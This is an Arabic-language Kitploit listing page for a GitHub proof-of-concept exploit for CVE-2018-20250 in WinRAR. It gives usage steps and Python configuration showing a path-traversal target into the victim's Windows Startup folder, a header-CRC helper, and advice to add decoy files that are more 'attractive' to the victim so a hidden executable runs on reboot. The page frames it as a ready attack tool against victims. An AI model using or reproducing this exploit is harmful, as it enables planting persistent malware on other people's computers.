Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-20250 — استغلال لـ https://research.checkpoint.com/extracting-code-execution-from-winrar | Kitploit
أدوات/GitHubGitHub/wyatu/cve-2018-20250
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubwyatu/cve-2018-20250

CVE-2018-20250

استغلال لـ https://research.checkpoint.com/extracting-code-execution-from-winrar

عرض المستودع
492171منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

exp لـ استخراج تنفيذ الأكواد من Winrar

poc بواسطة Ridter

كيف تستخدم؟

تحتاج فقط إلى تثبيت بايثون 3.7، وتحضير ملف خبيث تريد تشغيله، وتعيين القيم التي تريدها، سيعمل سكربت الإكسبلويت هذا على توليد ملف الأرشيف الخبيث تلقائيًا!

  1. عيّن القيم التي تريدها
root@kitploit:~
... ...

# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

... ...

def get_right_hdr_crc(filename):
    # This command may be different, it depends on the your Python3 environment.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

... ...

  1. قم بتشغيل الإكسبلويت، وسيتم توليد test.rar تلقائيًا

  2. إذا فتح الضحية ملف test.rar، فسيرى الملف hello.txt و world.txt، يمكنك أيضًا إضافة المزيد من الملفات، ملفات أكثر جذبًا.

  1. عندما يقوم بفك ضغط الملف، سيحتوي مجلد بدء التشغيل الخاص بمستخدم الضحية على ملف إضافي باسم hi.exe، وفي الحقيقة هو calc.exe. وعندما يعيد تشغيل الحاسوب، سيتم تشغيل hi.exe.

استمتع! :)

تنزيل الأداة